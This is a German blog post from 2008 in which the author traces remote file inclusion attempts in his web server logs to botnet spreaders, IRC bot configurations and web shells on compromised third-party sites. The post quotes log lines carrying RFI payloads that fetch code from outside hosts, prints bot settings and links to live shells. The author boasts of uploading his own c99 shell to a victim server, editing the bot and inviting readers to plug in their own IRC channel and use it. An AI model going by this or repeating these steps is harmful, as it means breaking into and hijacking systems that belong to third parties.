-[ RFI ]- Verfolgung, Spaß und Infos mit Rfi und Google

Willkommen zu meinem heutigen Blog-Eintrag liebe Leser und Mitleser,

Wir werden uns heute nochmal ein bisschen mit rfi Verfolgung befassen und dabei sicher Spaß haben :D so schaun wir mal.

Found 1 :

---

211.239.165.202 - - [19/Aug/2008:22:11:44 -0700] "GET /logs/access.log/!scanhttp://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt??? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.holidaybar.net"

211.239.165.202 - - [19/Aug/2008:22:11:44 -0700] "GET /!scanhttp://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt??? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.holidaybar.net"

211.239.165.202 - - [19/Aug/2008:22:11:44 -0700] "GET /logs/!scanhttp://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt??? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.holidaybar.net"

211.239.165.202 - - [19/Aug/2008:22:12:18 -0700] "GET /logs/access_080801.log/!scanhttp://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt??? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.holidaybar.net"

---

Nice haben wir ja gleich schonmal was gefunden
http://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt
So dadurch das dort gleich der spreadcode drinne ist können wir auch gleich den bot öffnen welcher sich hinter folgender url versteckt :)
http://www.seniorfitnessuk.com/ray/modules/global/inc/install.txt
irgendwelche #indonesiahackers oder so wie schon so oft gesehn :D schauen wir mal ob der dort ne shell oder sowas drauf hat.  Bingo !!!!
http://www.seniorfitnessuk.com/ray/modules/global/inc/dimas.php
ne schöne r57 shell nicht wirklich mein fav. XD da auchnoch auf türkisch oda sowas da kp XD naja mir latte XD schrauben wa mal die c99 hoch und editieren mal den Bot villt kommt ja was LOL :D leichtsinn soll ja bestraft werden
also editiere ich kurz die install.txt :D wenn mal wer schaun will ob was kommt hier die daten die sich aber auch in der install.txt befindet aufm server

---

$auth = "Osirys";

$authmail = "osirys\@live.it";

my $id    = "http://www.seniorfitnessuk.com/ray/modules/global/inc/htacess.txt?";               #Your RFI Response

my $shell = "http://www.glood.tv/plugins/safehtml/billgate.txt?";                                  #Shell printed on the Vulnerable Site

my $ircd  = "irc.1andallirc.net";                                                  #Irc-Server

my $port  = "6667";                                                           #Irc-Server Port

my $chan1 = "#1x33x7";                                                          #Chan for Scan

my $chan2 = "";                                                          #Results will be printed here too

my $nick  = "[billgate-REH[v6][".int(rand(1000))."]";                                                      #Nick

my @admins = ("Bloody");

---

Viel spaß sage ich jetzt noch nun müssta nurnoch euren channel und ircd dort reinstellen und ihr könnt ggf. loslegen mir egal was ihr macht :D ich mache aufjedenfall weiter mitn nächsten :)

Found 2 :
nächster server schon gefunden :)

---

69.93.234.108 - - [19/Aug/2008:22:26:35 -0700] "GET /logs/access.log/secure.php?&cfgProgDir=http://www.wichtl.at/files/echo? HTTP/1.1" 404 275 "-" "libwww-perl/5.800" "www.holidaybar.net"

69.93.234.108 - - [19/Aug/2008:22:26:36 -0700] "GET /logs/secure.php?&cfgProgDir=http://www.wichtl.at/files/echo? HTTP/1.1" 404 275 "-" "libwww-perl/5.800" "www.holidaybar.net"

---

dort schauen wir doch einfach mal auf http://www.wichtl.at/files/ und werden gleich sehen das wir dort 

ein Dir-list haben und können uns munter seine files anschauen in diesem falle folgende

---

	bot.txt	14-Aug-2008 13:53	16K
	echo	19-Aug-2008 06:09	656
	echo.txt	19-Aug-2008 06:09	656
	safe.txt	14-Aug-2008 13:54	1.2K
	san.txt	19-Aug-2008 06:29	0

---

der channel/Server wo der bot joined habt ihr hier

---

my @cmdstring='http://?';

my @adms=("ferryc");

my @canais=("#ferryc");

my @nickname = ("Tipai|");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];

chop (my $realname = 'n0x.');

$servidor='irc.mildnet.org' unless $servidor;

my $porta='6667';

---

viel spaß damit :)



Found 3 : 

---

jo und auch den nächsten schon gesichert XD

Log:

64.185.237.191 - - [19/Aug/2008:22:38:07 -0700] "GET /logs/access.log/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=http://start.ovh.net/~musicfra/includes/id.txt%0D?? HTTP/1.1" 404 275 "-" "libwww-perl/5.810" "www.holidaybar.net"

64.185.237.191 - - [19/Aug/2008:22:38:07 -0700] "GET /logs/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=http://start.ovh.net/~musicfra/includes/id.txt%0D?? HTTP/1.1" 404 275 "-" "libwww-perl/5.810" "www.holidaybar.net"

64.185.237.191 - - [19/Aug/2008:22:38:07 -0700] "GET /modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=http://start.ovh.net/~musicfra/includes/id.txt%0D?? HTTP/1.1" 404 275 "-" "libwww-perl/5.810" "www.holidaybar.net"

dir:

http://start.ovh.net/~musicfra/includes/

shell:

http://start.ovh.net/~musicfra/includes/help01.php?

---

So hoffe ihr fandet es ein wenig interresant :) nun wünsche ich noch einen schönen tag :)

MFG
Bloody